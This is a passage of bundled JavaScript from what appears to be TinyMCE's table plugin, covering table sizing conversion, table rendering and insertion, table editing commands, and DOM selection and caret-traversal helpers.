        const slicedDetails = toDetailList(filteredGrid);
        return someIf(slicedDetails.length > 0, slicedDetails);
      }).map(slicedDetails => copy(slicedDetails));
    };

    const adt$5 = Adt.generate([
      { invalid: ['raw'] },
      { pixels: ['value'] },
      { percent: ['value'] }
    ]);
    const validateFor = (suffix, type, value) => {
      const rawAmount = value.substring(0, value.length - suffix.length);
      const amount = parseFloat(rawAmount);
      return rawAmount === amount.toString() ? type(amount) : adt$5.invalid(value);
    };
    const from = value => {
      if (endsWith(value, '%')) {
        return validateFor('%', adt$5.percent, value);
      }
      if (endsWith(value, 'px')) {
        return validateFor('px', adt$5.pixels, value);
      }
      return adt$5.invalid(value);
    };
    const Size = {
      ...adt$5,
      from
    };

    const redistributeToPercent = (widths, totalWidth) => {
      return map$1(widths, w => {
        const colType = Size.from(w);
        return colType.fold(() => {
          return w;
        }, px => {
          const ratio = px / totalWidth * 100;
          return ratio + '%';
        }, pc => {
          return pc + '%';
        });
      });
    };
    const redistributeToPx = (widths, totalWidth, newTotalWidth) => {
      const scale = newTotalWidth / totalWidth;
      return map$1(widths, w => {
        const colType = Size.from(w);
        return colType.fold(() => {
          return w;
        }, px => {
          return px * scale + 'px';
        }, pc => {
          return pc / 100 * newTotalWidth + 'px';
        });
      });
    };
    const redistributeEmpty = (newWidthType, columns) => {
      const f = newWidthType.fold(() => constant(''), pixels => {
        const num = pixels / columns;
        return constant(num + 'px');
      }, () => {
        const num = 100 / columns;
        return constant(num + '%');
      });
      return range$1(columns, f);
    };
    const redistributeValues = (newWidthType, widths, totalWidth) => {
      return newWidthType.fold(() => {
        return widths;
      }, px => {
        return redistributeToPx(widths, totalWidth, px);
      }, _pc => {
        return redistributeToPercent(widths, totalWidth);
      });
    };
    const redistribute$1 = (widths, totalWidth, newWidth) => {
      const newType = Size.from(newWidth);
      const floats = forall(widths, s => {
        return s === '0px';
      }) ? redistributeEmpty(newType, widths.length) : redistributeValues(newType, widths, totalWidth);
      return normalize(floats);
    };
    const sum = (values, fallback) => {
      if (values.length === 0) {
        return fallback;
      }
      return foldr(values, (rest, v) => {
        return Size.from(v).fold(constant(0), identity, identity) + rest;
      }, 0);
    };
    const roundDown = (num, unit) => {
      const floored = Math.floor(num);
      return {
        value: floored + unit,
        remainder: num - floored
      };
    };
    const add$3 = (value, amount) => {
      return Size.from(value).fold(constant(value), px => {
        return px + amount + 'px';
      }, pc => {
        return pc + amount + '%';
      });
    };
    const normalize = values => {
      if (values.length === 0) {
        return values;
      }
      const scan = foldr(values, (rest, value) => {
        const info = Size.from(value).fold(() => ({
          value,
          remainder: 0
        }), num => roundDown(num, 'px'), num => ({
          value: num + '%',
          remainder: 0
        }));
        return {
          output: [info.value].concat(rest.output),
          remainder: rest.remainder + info.remainder
        };
      }, {
        output: [],
        remainder: 0
      });
      const r = scan.output;
      return r.slice(0, r.length - 1).concat([add$3(r[r.length - 1], Math.round(scan.remainder))]);
    };
    const validate = Size.from;

    const redistributeToW = (newWidths, cells, unit) => {
      each$2(cells, cell => {
        const widths = newWidths.slice(cell.column, cell.colspan + cell.column);
        const w = sum(widths, minWidth());
        set$1(cell.element, 'width', w + unit);
      });
    };
    const redistributeToColumns = (newWidths, columns, unit) => {
      each$2(columns, (column, index) => {
        const width = sum([newWidths[index]], minWidth());
        set$1(column.element, 'width', width + unit);
      });
    };
    const redistributeToH = (newHeights, rows, cells, unit) => {
      each$2(cells, cell => {
        const heights = newHeights.slice(cell.row, cell.rowspan + cell.row);
        const h = sum(heights, minHeight());
        set$1(cell.element, 'height', h + unit);
      });
      each$2(rows, (row, i) => {
        set$1(row.element, 'height', newHeights[i]);
      });
    };
    const getUnit = newSize => {
      return validate(newSize).fold(constant('px'), constant('px'), constant('%'));
    };
    const redistribute = (table, optWidth, optHeight) => {
      const warehouse = Warehouse.fromTable(table);
      const rows = warehouse.all;
      const cells = Warehouse.justCells(warehouse);
      const columns = Warehouse.justColumns(warehouse);
      optWidth.each(newWidth => {
        const widthUnit = getUnit(newWidth);
        const totalWidth = get$9(table);
        const oldWidths = getRawWidths(warehouse, table);
        const nuWidths = redistribute$1(oldWidths, totalWidth, newWidth);
        if (Warehouse.hasColumns(warehouse)) {
          redistributeToColumns(nuWidths, columns, widthUnit);
        } else {
          redistributeToW(nuWidths, cells, widthUnit);
        }
        set$1(table, 'width', newWidth);
      });
      optHeight.each(newHeight => {
        const hUnit = getUnit(newHeight);
        const totalHeight = get$8(table);
        const oldHeights = getRawHeights(warehouse, table, height);
        const nuHeights = redistribute$1(oldHeights, totalHeight, newHeight);
        redistributeToH(nuHeights, rows, cells, hUnit);
        set$1(table, 'height', newHeight);
      });
    };
    const isPercentSizing = isPercentSizing$1;
    const isPixelSizing = isPixelSizing$1;
    const isNoneSizing = isNoneSizing$1;

    const cleanupLegacyAttributes = element => {
      remove$7(element, 'width');
    };
    const convertToPercentSize = table => {
      const newWidth = getPercentTableWidth(table);
      redistribute(table, Optional.some(newWidth), Optional.none());
      cleanupLegacyAttributes(table);
    };
    const convertToPixelSize = table => {
      const newWidth = getPixelTableWidth(table);
      redistribute(table, Optional.some(newWidth), Optional.none());
      cleanupLegacyAttributes(table);
    };
    const convertToNoneSize = table => {
      remove$5(table, 'width');
      const columns = columns$1(table);
      const rowElements = columns.length > 0 ? columns : cells$1(table);
      each$2(rowElements, cell => {
        remove$5(cell, 'width');
        cleanupLegacyAttributes(cell);
      });
      cleanupLegacyAttributes(table);
    };

    const DefaultRenderOptions = {
      styles: {
        'border-collapse': 'collapse',
        'width': '100%'
      },
      attributes: { border: '1' },
      colGroups: false
    };
    const tableHeaderCell = () => SugarElement.fromTag('th');
    const tableCell = () => SugarElement.fromTag('td');
    const tableColumn = () => SugarElement.fromTag('col');
    const createRow = (columns, rowHeaders, columnHeaders, rowIndex) => {
      const tr = SugarElement.fromTag('tr');
      for (let j = 0; j < columns; j++) {
        const td = rowIndex < rowHeaders || j < columnHeaders ? tableHeaderCell() : tableCell();
        if (j < columnHeaders) {
          set$2(td, 'scope', 'row');
        }
        if (rowIndex < rowHeaders) {
          set$2(td, 'scope', 'col');
        }
        append$1(td, SugarElement.fromTag('br'));
        append$1(tr, td);
      }
      return tr;
    };
    const createGroupRow = columns => {
      const columnGroup = SugarElement.fromTag('colgroup');
      range$1(columns, () => append$1(columnGroup, tableColumn()));
      return columnGroup;
    };
    const createRows = (rows, columns, rowHeaders, columnHeaders) => range$1(rows, r => createRow(columns, rowHeaders, columnHeaders, r));
    const render = (rows, columns, rowHeaders, columnHeaders, headerType, renderOpts = DefaultRenderOptions) => {
      const table = SugarElement.fromTag('table');
      const rowHeadersGoInThead = headerType !== 'cells';
      setAll(table, renderOpts.styles);
      setAll$1(table, renderOpts.attributes);
      if (renderOpts.colGroups) {
        append$1(table, createGroupRow(columns));
      }
      const actualRowHeaders = Math.min(rows, rowHeaders);
      if (rowHeadersGoInThead && rowHeaders > 0) {
        const thead = SugarElement.fromTag('thead');
        append$1(table, thead);
        const theadRowHeaders = headerType === 'sectionCells' ? actualRowHeaders : 0;
        const theadRows = createRows(rowHeaders, columns, theadRowHeaders, columnHeaders);
        append(thead, theadRows);
      }
      const tbody = SugarElement.fromTag('tbody');
      append$1(table, tbody);
      const numRows = rowHeadersGoInThead ? rows - actualRowHeaders : rows;
      const numRowHeaders = rowHeadersGoInThead ? 0 : rowHeaders;
      const tbodyRows = createRows(numRows, columns, numRowHeaders, columnHeaders);
      append(tbody, tbodyRows);
      return table;
    };

    const get$4 = element => element.dom.innerHTML;
    const getOuter = element => {
      const container = SugarElement.fromTag('div');
      const clone = SugarElement.fromDom(element.dom.cloneNode(true));
      append$1(container, clone);
      return get$4(container);
    };

    const placeCaretInCell = (editor, cell) => {
      editor.selection.select(cell.dom, true);
      editor.selection.collapse(true);
    };
    const selectFirstCellInTable = (editor, tableElm) => {
      descendant(tableElm, 'td,th').each(curry(placeCaretInCell, editor));
    };
    const fireEvents = (editor, table) => {
      each$2(descendants(table, 'tr'), row => {
        fireNewRow(editor, row.dom);
        each$2(descendants(row, 'th,td'), cell => {
          fireNewCell(editor, cell.dom);
        });
      });
    };
    const isPercentage = width => isString(width) && width.indexOf('%') !== -1;
    const insert = (editor, columns, rows, colHeaders, rowHeaders) => {
      const defaultStyles = getTableDefaultStyles(editor);
      const options = {
        styles: defaultStyles,
        attributes: getTableDefaultAttributes(editor),
        colGroups: tableUseColumnGroup(editor)
      };
      editor.undoManager.ignore(() => {
        const table = render(rows, columns, rowHeaders, colHeaders, getTableHeaderType(editor), options);
        set$2(table, 'data-mce-id', '__mce');
        const html = getOuter(table);
        editor.insertContent(html);
        editor.addVisual();
      });
      return descendant(getBody(editor), 'table[data-mce-id="__mce"]').map(table => {
        if (isTablePixelsForced(editor)) {
          convertToPixelSize(table);
        } else if (isTableResponsiveForced(editor)) {
          convertToNoneSize(table);
        } else if (isTablePercentagesForced(editor) || isPercentage(defaultStyles.width)) {
          convertToPercentSize(table);
        }
        removeDataStyle(table);
        remove$7(table, 'data-mce-id');
        fireEvents(editor, table);
        selectFirstCellInTable(editor, table);
        return table.dom;
      }).getOrNull();
    };
    const insertTable = (editor, rows, columns, options = {}) => {
      const checkInput = val => isNumber(val) && val > 0;
      if (checkInput(rows) && checkInput(columns)) {
        const headerRows = options.headerRows || 0;
        const headerColumns = options.headerColumns || 0;
        return insert(editor, columns, rows, headerColumns, headerRows);
      } else {
        console.error('Invalid values for mceInsertTable - rows and columns values are required to insert a table.');
        return null;
      }
    };

    var global = tinymce.util.Tools.resolve('tinymce.FakeClipboard');

    const tableTypeBase = 'x-tinymce/dom-table-';
    const tableTypeRow = tableTypeBase + 'rows';
    const tableTypeColumn = tableTypeBase + 'columns';
    const setData = items => {
      const fakeClipboardItem = global.FakeClipboardItem(items);
      global.write([fakeClipboardItem]);
    };
    const getData = type => {
      var _a;
      const items = (_a = global.read()) !== null && _a !== void 0 ? _a : [];
      return findMap(items, item => Optional.from(item.getType(type)));
    };
    const clearData = type => {
      if (getData(type).isSome()) {
        global.clear();
      }
    };
    const setRows = rowsOpt => {
      rowsOpt.fold(clearRows, rows => setData({ [tableTypeRow]: rows }));
    };
    const getRows = () => getData(tableTypeRow);
    const clearRows = () => clearData(tableTypeRow);
    const setColumns = columnsOpt => {
      columnsOpt.fold(clearColumns, columns => setData({ [tableTypeColumn]: columns }));
    };
    const getColumns = () => getData(tableTypeColumn);
    const clearColumns = () => clearData(tableTypeColumn);

    const getSelectionStartCellOrCaption = editor => getSelectionCellOrCaption(getSelectionStart(editor), getIsRoot(editor));
    const getSelectionStartCell = editor => getSelectionCell(getSelectionStart(editor), getIsRoot(editor));
    const registerCommands = (editor, actions) => {
      const isRoot = getIsRoot(editor);
      const eraseTable = () => getSelectionStartCellOrCaption(editor).each(cellOrCaption => {
        table(cellOrCaption, isRoot).filter(not(isRoot)).each(table => {
          const cursor = SugarElement.fromText('');
          after$5(table, cursor);
          remove$6(table);
          if (editor.dom.isEmpty(editor.getBody())) {
            editor.setContent('');
            editor.selection.setCursorLocation();
          } else {
            const rng = editor.dom.createRng();
            rng.setStart(cursor.dom, 0);
            rng.setEnd(cursor.dom, 0);
            editor.selection.setRng(rng);
            editor.nodeChanged();
          }
        });
      });
      const setSizingMode = sizing => getSelectionStartCellOrCaption(editor).each(cellOrCaption => {
        const isForcedSizing = isTableResponsiveForced(editor) || isTablePixelsForced(editor) || isTablePercentagesForced(editor);
        if (!isForcedSizing) {
          table(cellOrCaption, isRoot).each(table => {
            if (sizing === 'relative' && !isPercentSizing(table)) {
              convertToPercentSize(table);
            } else if (sizing === 'fixed' && !isPixelSizing(table)) {
              convertToPixelSize(table);
            } else if (sizing === 'responsive' && !isNoneSizing(table)) {
              convertToNoneSize(table);
            }
            removeDataStyle(table);
            fireTableModified(editor, table.dom, structureModified);
          });
        }
      });
      const getTableFromCell = cell => table(cell, isRoot);
      const performActionOnSelection = action => getSelectionStartCell(editor).bind(cell => getTableFromCell(cell).map(table => action(table, cell)));
      const toggleTableClass = (_ui, clazz) => {
        performActionOnSelection(table => {
          editor.formatter.toggle('tableclass', { value: clazz }, table.dom);
          fireTableModified(editor, table.dom, styleModified);
        });
      };
      const toggleTableCellClass = (_ui, clazz) => {
        performActionOnSelection(table => {
          const selectedCells = getCellsFromSelection(editor);
          const allHaveClass = forall(selectedCells, cell => editor.formatter.match('tablecellclass', { value: clazz }, cell.dom));
          const formatterAction = allHaveClass ? editor.formatter.remove : editor.formatter.apply;
          each$2(selectedCells, cell => formatterAction('tablecellclass', { value: clazz }, cell.dom));
          fireTableModified(editor, table.dom, styleModified);
        });
      };
      const toggleCaption = () => {
        getSelectionStartCellOrCaption(editor).each(cellOrCaption => {
          table(cellOrCaption, isRoot).each(table => {
            child(table, 'caption').fold(() => {
              const caption = SugarElement.fromTag('caption');
              append$1(caption, SugarElement.fromText('Caption'));
              appendAt(table, caption, 0);
              editor.selection.setCursorLocation(caption.dom, 0);
            }, caption => {
              if (isTag('caption')(cellOrCaption)) {
                one('td', table).each(td => editor.selection.setCursorLocation(td.dom, 0));
              }
              remove$6(caption);
            });
            fireTableModified(editor, table.dom, structureModified);
          });
        });
      };
      const postExecute = _data => {
        editor.focus();
      };
      const actOnSelection = (execute, noEvents = false) => performActionOnSelection((table, startCell) => {
        const targets = forMenu(getCellsFromSelection(editor), table, startCell);
        execute(table, targets, noEvents).each(postExecute);
      });
      const copyRowSelection = () => performActionOnSelection((table, startCell) => {
        const targets = forMenu(getCellsFromSelection(editor), table, startCell);
        const generators = cellOperations(noop, SugarElement.fromDom(editor.getDoc()), Optional.none());
        return copyRows(table, targets, generators);
      });
      const copyColSelection = () => performActionOnSelection((table, startCell) => {
        const targets = forMenu(getCellsFromSelection(editor), table, startCell);
        return copyCols(table, targets);
      });
      const pasteOnSelection = (execute, getRows) => getRows().each(rows => {
        const clonedRows = map$1(rows, row => deep(row));
        performActionOnSelection((table, startCell) => {
          const generators = paste$1(SugarElement.fromDom(editor.getDoc()));
          const targets = pasteRows(getCellsFromSelection(editor), startCell, clonedRows, generators);
          execute(table, targets).each(postExecute);
        });
      });
      const actOnType = getAction => (_ui, args) => get$c(args, 'type').each(type => {
        actOnSelection(getAction(type), args.no_events);
      });
      each$1({
        mceTableSplitCells: () => actOnSelection(actions.unmergeCells),
        mceTableMergeCells: () => actOnSelection(actions.mergeCells),
        mceTableInsertRowBefore: () => actOnSelection(actions.insertRowsBefore),
        mceTableInsertRowAfter: () => actOnSelection(actions.insertRowsAfter),
        mceTableInsertColBefore: () => actOnSelection(actions.insertColumnsBefore),
        mceTableInsertColAfter: () => actOnSelection(actions.insertColumnsAfter),
        mceTableDeleteCol: () => actOnSelection(actions.deleteColumn),
        mceTableDeleteRow: () => actOnSelection(actions.deleteRow),
        mceTableCutCol: () => copyColSelection().each(selection => {
          setColumns(selection);
          actOnSelection(actions.deleteColumn);
        }),
        mceTableCutRow: () => copyRowSelection().each(selection => {
          setRows(selection);
          actOnSelection(actions.deleteRow);
        }),
        mceTableCopyCol: () => copyColSelection().each(selection => setColumns(selection)),
        mceTableCopyRow: () => copyRowSelection().each(selection => setRows(selection)),
        mceTablePasteColBefore: () => pasteOnSelection(actions.pasteColsBefore, getColumns),
        mceTablePasteColAfter: () => pasteOnSelection(actions.pasteColsAfter, getColumns),
        mceTablePasteRowBefore: () => pasteOnSelection(actions.pasteRowsBefore, getRows),
        mceTablePasteRowAfter: () => pasteOnSelection(actions.pasteRowsAfter, getRows),
        mceTableDelete: eraseTable,
        mceTableCellToggleClass: toggleTableCellClass,
        mceTableToggleClass: toggleTableClass,
        mceTableToggleCaption: toggleCaption,
        mceTableSizingMode: (_ui, sizing) => setSizingMode(sizing),
        mceTableCellType: actOnType(type => type === 'th' ? actions.makeCellsHeader : actions.unmakeCellsHeader),
        mceTableColType: actOnType(type => type === 'th' ? actions.makeColumnsHeader : actions.unmakeColumnsHeader),
        mceTableRowType: actOnType(type => {
          switch (type) {
          case 'header':
            return actions.makeRowsHeader;
          case 'footer':
            return actions.makeRowsFooter;
          default:
            return actions.makeRowsBody;
          }
        })
      }, (func, name) => editor.addCommand(name, func));
      editor.addCommand('mceInsertTable', (_ui, args) => {
        insertTable(editor, args.rows, args.columns, args.options);
      });
      editor.addCommand('mceTableApplyCellStyle', (_ui, args) => {
        const getFormatName = style => 'tablecell' + style.toLowerCase().replace('-', '');
        if (!isObject(args)) {
          return;
        }
        const cells = getCellsFromSelection(editor);
        if (cells.length === 0) {
          return;
        }
        const validArgs = filter$1(args, (value, style) => editor.formatter.has(getFormatName(style)) && isString(value));
        if (isEmpty(validArgs)) {
          return;
        }
        each$1(validArgs, (value, style) => {
          const formatName = getFormatName(style);
          each$2(cells, cell => {
            if (value === '') {
              editor.formatter.remove(formatName, { value: null }, cell.dom, true);
            } else {
              editor.formatter.apply(formatName, { value }, cell.dom);
            }
          });
        });
        getTableFromCell(cells[0]).each(table => fireTableModified(editor, table.dom, styleModified));
      });
    };

    const registerQueryCommands = (editor, actions) => {
      const isRoot = getIsRoot(editor);
      const lookupOnSelection = action => getSelectionCell(getSelectionStart(editor)).bind(cell => table(cell, isRoot).map(table => {
        const targets = forMenu(getCellsFromSelection(editor), table, cell);
        return action(table, targets);
      })).getOr('');
      each$1({
        mceTableRowType: () => lookupOnSelection(actions.getTableRowType),
        mceTableCellType: () => lookupOnSelection(actions.getTableCellType),
        mceTableColType: () => lookupOnSelection(actions.getTableColType)
      }, (func, name) => editor.addQueryValueHandler(name, func));
    };

    const adt$4 = Adt.generate([
      { before: ['element'] },
      {
        on: [
          'element',
          'offset'
        ]
      },
      { after: ['element'] }
    ]);
    const cata$1 = (subject, onBefore, onOn, onAfter) => subject.fold(onBefore, onOn, onAfter);
    const getStart$1 = situ => situ.fold(identity, identity, identity);
    const before$2 = adt$4.before;
    const on = adt$4.on;
    const after$3 = adt$4.after;
    const Situ = {
      before: before$2,
      on,
      after: after$3,
      cata: cata$1,
      getStart: getStart$1
    };

    const create$4 = (selection, kill) => ({
      selection,
      kill
    });
    const Response = { create: create$4 };

    const selectNode = (win, element) => {
      const rng = win.document.createRange();
      rng.selectNode(element.dom);
      return rng;
    };
    const selectNodeContents = (win, element) => {
      const rng = win.document.createRange();
      selectNodeContentsUsing(rng, element);
      return rng;
    };
    const selectNodeContentsUsing = (rng, element) => rng.selectNodeContents(element.dom);
    const setStart = (rng, situ) => {
      situ.fold(e => {
        rng.setStartBefore(e.dom);
      }, (e, o) => {
        rng.setStart(e.dom, o);
      }, e => {
        rng.setStartAfter(e.dom);
      });
    };
    const setFinish = (rng, situ) => {
      situ.fold(e => {
        rng.setEndBefore(e.dom);
      }, (e, o) => {
        rng.setEnd(e.dom, o);
      }, e => {
        rng.setEndAfter(e.dom);
      });
    };
    const relativeToNative = (win, startSitu, finishSitu) => {
      const range = win.document.createRange();
      setStart(range, startSitu);
      setFinish(range, finishSitu);
      return range;
    };
    const exactToNative = (win, start, soffset, finish, foffset) => {
      const rng = win.document.createRange();
      rng.setStart(start.dom, soffset);
      rng.setEnd(finish.dom, foffset);
      return rng;
    };
    const toRect = rect => ({
      left: rect.left,
      top: rect.top,
      right: rect.right,
      bottom: rect.bottom,
      width: rect.width,
      height: rect.height
    });
    const getFirstRect$1 = rng => {
      const rects = rng.getClientRects();
      const rect = rects.length > 0 ? rects[0] : rng.getBoundingClientRect();
      return rect.width > 0 || rect.height > 0 ? Optional.some(rect).map(toRect) : Optional.none();
    };

    const adt$3 = Adt.generate([
      {
        ltr: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      },
      {
        rtl: [
          'start',
          'soffset',
          'finish',
          'foffset'
        ]
      }
    ]);
    const fromRange = (win, type, range) => type(SugarElement.fromDom(range.startContainer), range.startOffset, SugarElement.fromDom(range.endContainer), range.endOffset);
    const getRanges = (win, selection) => selection.match({
      domRange: rng => {
        return {
          ltr: constant(rng),
          rtl: Optional.none
        };
      },
      relative: (startSitu, finishSitu) => {
        return {
          ltr: cached(() => relativeToNative(win, startSitu, finishSitu)),
          rtl: cached(() => Optional.some(relativeToNative(win, finishSitu, startSitu)))
        };
      },
      exact: (start, soffset, finish, foffset) => {
        return {
          ltr: cached(() => exactToNative(win, start, soffset, finish, foffset)),
          rtl: cached(() => Optional.some(exactToNative(win, finish, foffset, start, soffset)))
        };
      }
    });
    const doDiagnose = (win, ranges) => {
      const rng = ranges.ltr();
      if (rng.collapsed) {
        const reversed = ranges.rtl().filter(rev => rev.collapsed === false);
        return reversed.map(rev => adt$3.rtl(SugarElement.fromDom(rev.endContainer), rev.endOffset, SugarElement.fromDom(rev.startContainer), rev.startOffset)).getOrThunk(() => fromRange(win, adt$3.ltr, rng));
      } else {
        return fromRange(win, adt$3.ltr, rng);
      }
    };
    const diagnose = (win, selection) => {
      const ranges = getRanges(win, selection);
      return doDiagnose(win, ranges);
    };
    const asLtrRange = (win, selection) => {
      const diagnosis = diagnose(win, selection);
      return diagnosis.match({
        ltr: (start, soffset, finish, foffset) => {
          const rng = win.document.createRange();
          rng.setStart(start.dom, soffset);
          rng.setEnd(finish.dom, foffset);
          return rng;
        },
        rtl: (start, soffset, finish, foffset) => {
          const rng = win.document.createRange();
          rng.setStart(finish.dom, foffset);
          rng.setEnd(start.dom, soffset);
          return rng;
        }
      });
    };
    adt$3.ltr;
    adt$3.rtl;

    const create$3 = (start, soffset, finish, foffset) => ({
      start,
      soffset,
      finish,
      foffset
    });
    const SimRange = { create: create$3 };

    const create$2 = (start, soffset, finish, foffset) => {
      return {
        start: Situ.on(start, soffset),
        finish: Situ.on(finish, foffset)
      };
    };
    const Situs = { create: create$2 };

    const convertToRange = (win, selection) => {
      const rng = asLtrRange(win, selection);
      return SimRange.create(SugarElement.fromDom(rng.startContainer), rng.startOffset, SugarElement.fromDom(rng.endContainer), rng.endOffset);
    };
    const makeSitus = Situs.create;

    const sync = (container, isRoot, start, soffset, finish, foffset, selectRange) => {
      if (!(eq$1(start, finish) && soffset === foffset)) {
        return closest$1(start, 'td,th', isRoot).bind(s => {
          return closest$1(finish, 'td,th', isRoot).bind(f => {
            return detect(container, isRoot, s, f, selectRange);
          });
        });
      } else {
        return Optional.none();
      }
    };
    const detect = (container, isRoot, start, finish, selectRange) => {
      if (!eq$1(start, finish)) {
        return identify(start, finish, isRoot).bind(cellSel => {
          const boxes = cellSel.boxes.getOr([]);
          if (boxes.length > 1) {
            selectRange(container, boxes, cellSel.start, cellSel.finish);
            return Optional.some(Response.create(Optional.some(makeSitus(start, 0, start, getEnd(start))), true));
          } else {
            return Optional.none();
          }
        });
      } else {
        return Optional.none();
      }
    };
    const update = (rows, columns, container, selected, annotations) => {
      const updateSelection = newSels => {
        annotations.clearBeforeUpdate(container);
        annotations.selectRange(container, newSels.boxes, newSels.start, newSels.finish);
        return newSels.boxes;
      };
      return shiftSelection(selected, rows, columns, annotations.firstSelectedSelector, annotations.lastSelectedSelector).map(updateSelection);
    };

    const traverse = (item, mode) => ({
      item,
      mode
    });
    const backtrack = (universe, item, _direction, transition = sidestep) => {
      return universe.property().parent(item).map(p => {
        return traverse(p, transition);
      });
    };
    const sidestep = (universe, item, direction, transition = advance) => {
      return direction.sibling(universe, item).map(p => {
        return traverse(p, transition);
      });
    };
    const advance = (universe, item, direction, transition = advance) => {
      const children = universe.property().children(item);
      const result = direction.first(children);
      return result.map(r => {
        return traverse(r, transition);
      });
    };
    const successors = [
      {
        current: backtrack,
        next: sidestep,
        fallback: Optional.none()
      },
      {
        current: sidestep,
        next: advance,
        fallback: Optional.some(backtrack)
      },
      {
        current: advance,
        next: advance,
        fallback: Optional.some(sidestep)
      }
    ];
    const go = (universe, item, mode, direction, rules = successors) => {
      const ruleOpt = find$1(rules, succ => {
        return succ.current === mode;
      });
      return ruleOpt.bind(rule => {
        return rule.current(universe, item, direction, rule.next).orThunk(() => {
          return rule.fallback.bind(fb => {
            return go(universe, item, fb, direction);
          });
        });
      });
    };

    const left$1 = () => {
      const sibling = (universe, item) => {
        return universe.query().prevSibling(item);
      };
      const first = children => {
        return children.length > 0 ? Optional.some(children[children.length - 1]) : Optional.none();
      };
      return {
        sibling,
        first
      };
    };
    const right$1 = () => {
      const sibling = (universe, item) => {
        return universe.query().nextSibling(item);
      };
      const first = children => {
        return children.length > 0 ? Optional.some(children[0]) : Optional.none();
      };
      return {
        sibling,
        first
      };
    };
    const Walkers = {
      left: left$1,
      right: right$1
    };

    const hone = (universe, item, predicate, mode, direction, isRoot) => {
      const next = go(universe, item, mode, direction);
      return next.bind(n => {
        if (isRoot(n.item)) {
          return Optional.none();
        } else {
          return predicate(n.item) ? Optional.some(n.item) : hone(universe, n.item, predicate, n.mode, direction, isRoot);
        }
      });
    };
    const left = (universe, item, predicate, isRoot) => {
      return hone(universe, item, predicate, sidestep, Walkers.left(), isRoot);
    };
    const right = (universe, item, predicate, isRoot) => {
      return hone(universe, item, predicate, sidestep, Walkers.right(), isRoot);
    };

    const isLeaf = universe => element => universe.property().children(element).length === 0;
    const before$1 = (universe, item, isRoot) => {
      return seekLeft$1(universe, item, isLeaf(universe), isRoot);
    };
    const after$2 = (universe, item, isRoot) => {
      return seekRight$1(universe, item, isLeaf(universe), isRoot);
    };
    const seekLeft$1 = left;
    const seekRight$1 = right;

    const universe = DomUniverse();
    const before = (element, isRoot) => {
      return before$1(universe, element, isRoot);
    };
    const after$1 = (element, isRoot) => {
      return after$2(universe, element, isRoot);
    };
    const seekLeft = (element, predicate, isRoot) => {
      return seekLeft$1(universe, element, predicate, isRoot);
    };
    const seekRight = (element, predicate, isRoot) => {
      return seekRight$1(universe, element, predicate, isRoot);
    };

    const ancestor = (scope, predicate, isRoot) => ancestor$2(scope, predicate, isRoot).isSome();

    const adt$2 = Adt.generate([
      { none: ['message'] },
      { success: [] },
      { failedUp: ['cell'] },
      { failedDown: ['cell'] }
    ]);
    const isOverlapping = (bridge, before, after) => {
      const beforeBounds = bridge.getRect(before);
      const afterBounds = bridge.getRect(after);
      return afterBounds.right > beforeBounds.left && afterBounds.left < beforeBounds.right;
    };
    const isRow = elem => {
      return closest$1(elem, 'tr');
    };
    const verify = (bridge, before, beforeOffset, after, afterOffset, failure, isRoot) => {
      return closest$1(after, 'td,th', isRoot).bind(afterCell => {
        return closest$1(before, 'td,th', isRoot).map(beforeCell => {
          if (!eq$1(afterCell, beforeCell)) {
            return sharedOne(isRow, [
              afterCell,
              beforeCell
            ]).fold(() => {
              return isOverlapping(bridge, beforeCell, afterCell) ? adt$2.success() : failure(beforeCell);
            }, _sharedRow => {
              return failure(beforeCell);
            });
          } else {
            return eq$1(after, afterCell) && getEnd(afterCell) === afterOffset ? failure(beforeCell) : adt$2.none('in same cell');
          }
        });
      }).getOr(adt$2.none('default'));
    };
    const cata = (subject, onNone, onSuccess, onFailedUp, onFailedDown) => {
      return subject.fold(onNone, onSuccess, onFailedUp, onFailedDown);
    };
    const BeforeAfter = {
      ...adt$2,
      verify,
      cata
    };

    const inParent = (parent, children, element, index) => ({
      parent,
      children,
      element,
      index
    });
    const indexInParent = element => parent(element).bind(parent => {
      const children = children$2(parent);
      return indexOf(children, element).map(index => inParent(parent, children, element, index));
    });
    const indexOf = (elements, element) => findIndex(elements, curry(eq$1, element));

    const isBr = isTag('br');
    const gatherer = (cand, gather, isRoot) => {
      return gather(cand, isRoot).bind(target => {
        return isText(target) && get$6(target).trim().length === 0 ? gatherer(target, gather, isRoot) : Optional.some(target);
      });
    };
    const handleBr = (isRoot, element, direction) => {
      return direction.traverse(element).orThunk(() => {
        return gatherer(element, direction.gather, isRoot);
      }).map(direction.relative);
    };
    const findBr = (element, offset) => {
      return child$2(element, offset).filter(isBr).orThunk(() => {
        return child$2(element, offset - 1).filter(isBr);
      });
    };
    const handleParent = (isRoot, element, offset, direction) => {
      return findBr(element, offset).bind(br => {
        return direction.traverse(br).fold(() => {
          return gatherer(br, direction.gather, isRoot).map(direction.relative);
        }, adjacent => {
          return indexInParent(adjacent).map(info => {
            return Situ.on(info.parent, info.index);
          });
        });
      });
    };
    const tryBr = (isRoot, element, offset, direction) => {
      const target = isBr(element) ? handleBr(isRoot, element, direction) : handleParent(isRoot, element, offset, direction);
      return target.map(tgt => {
        return {
          start: tgt,
          finish: tgt
        };
      });
    };
    const process = analysis => {
      return BeforeAfter.cata(analysis, _message => {
        return Optional.none();
      }, () => {
        return Optional.none();
      }, cell => {
        return Optional.some(point(cell, 0));
      }, cell => {
        return Optional.some(point(cell, getEnd(cell)));
      });
    };

    const moveDown = (caret, amount) => {
      return {
        left: caret.left,
        top: caret.top + amount,
        right: caret.right,
        bottom: caret.bottom + amount
      };
    };
    const moveUp = (caret, amount) => {
      return {
        left: caret.left,
        top: caret.top - amount,
        right: caret.right,
        bottom: caret.bottom - amount
      };
    };
    const translate = (caret, xDelta, yDelta) => {
      return {
        left: caret.left + xDelta,
        top: caret.top + yDelta,
        right: caret.right + xDelta,
        bottom: caret.bottom + yDelta
      };
    };
    const getTop = caret => {
      return caret.top;
    };
    const getBottom = caret => {
      return caret.bottom;
    };

    const getPartialBox = (bridge, element, offset) => {
      if (offset >= 0 && offset < getEnd(element)) {
        return bridge.getRangedRect(element, offset, element, offset + 1);
      } else if (offset > 0) {
        return bridge.getRangedRect(element, offset - 1, element, offset);
      }
      return Optional.none();
    };
    const toCaret = rect => ({
      left: rect.left,
      top: rect.top,
      right: rect.right,
      bottom: rect.bottom
    });
    const getElemBox = (bridge, element) => {
      return Optional.some(bridge.getRect(element));
    };
    const getBoxAt = (bridge, element, offset) => {
      if (isElement(element)) {
        return getElemBox(bridge, element).map(toCaret);
      } else if (isText(element)) {
        return getPartialBox(bridge, element, offset).map(toCaret);
      } else {
        return Optional.none();
      }
    };
